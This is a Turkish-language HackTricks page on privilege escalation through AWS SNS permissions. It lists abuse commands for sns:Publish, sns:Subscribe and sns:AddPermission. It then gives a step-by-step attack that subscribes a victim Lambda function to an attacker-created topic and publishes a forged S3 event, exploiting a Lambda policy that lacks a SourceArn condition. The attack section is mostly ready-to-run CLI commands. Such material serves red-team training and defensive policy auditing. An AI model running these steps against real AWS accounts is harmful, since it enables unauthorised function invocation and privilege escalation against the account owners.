AWS - SNS Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

SNS

Daha fazla bilgi için bakın:

AWS - SNS Enum

sns:Publish

Bir saldırgan, SNS konusuna kötücül veya istenmeyen mesajlar gönderebilir; bu, veri bozulmasına, istem dışı eylemlerin tetiklenmesine veya kaynakların tükenmesine neden olabilir.

aws sns publish --topic-arn <value> --message <value>

Olası Etki: Zafiyetin kötüye kullanılması, veri bozulması, istenmeyen eylemler veya kaynak tükenmesi.

sns:Subscribe

Bir saldırgan bir SNS topic’ine abone olabilir; bu, mesajlara yetkisiz erişim sağlamasına veya topic’e bağlı uygulamaların normal işleyişini bozmasına yol açabilir.

aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>

Potansiyel Etki: Mesajlara (hassas bilgiler) yetkisiz erişim; etkilenen topic’e bağlı uygulamalar için hizmet kesintisi.

sns:AddPermission

Bir saldırgan yetkisiz kullanıcılara veya servislere bir SNS topic’ine erişim verebilir ve bu sayede potansiyel olarak ek izinler elde edebilir.

aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>

Muhtemel Etki: Yetkisiz kullanıcılar veya servisler tarafından topic’e izinsiz erişim, mesajların ifşa olması veya topic’in manipüle edilmesi, topic’e bağlı uygulamaların normal çalışmasının bozulması.

Wildcard SNS iznini kötüye kullanarak Lambda’yı çağırma (no SourceArn)

Eğer bir Lambda function resource-based policy sns.amazonaws.com’un onu invoke etmesine izin veriyorsa ve kaynak topic’i (SourceArn) kısıtlamıyorsa, herhangi bir SNS topic (diğer bir hesapta olsa bile) subscribe olabilir ve fonksiyonu tetikleyebilir. Temel SNS izinlerine sahip bir saldırgan, Lambda’yı kendi kontrolündeki girdi ile onun IAM rolü altında çalıştırmaya zorlayabilir.

Tip

TODO: Bu gerçekten cross-account yapılabilir mi?

Önkoşullar

  • Hedef Lambda politikası aşağıdaki gibi bir ifade içerir, SourceArn koşulu YOK:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}

Kötüye kullanım adımları (aynı veya hesaplar arası)

# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)

# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>

# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'

Olası Etki: Hedef Lambda, IAM rolü ile çalışır ve saldırgan tarafından kontrol edilen girdiyi işler. İzinlerine bağlı olarak bu, fonksiyonun hassas işlemler gerçekleştirmesi için kötüye kullanılabilir (ör. S3’e yazma, secrets’e erişme, kaynakları değiştirme).

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin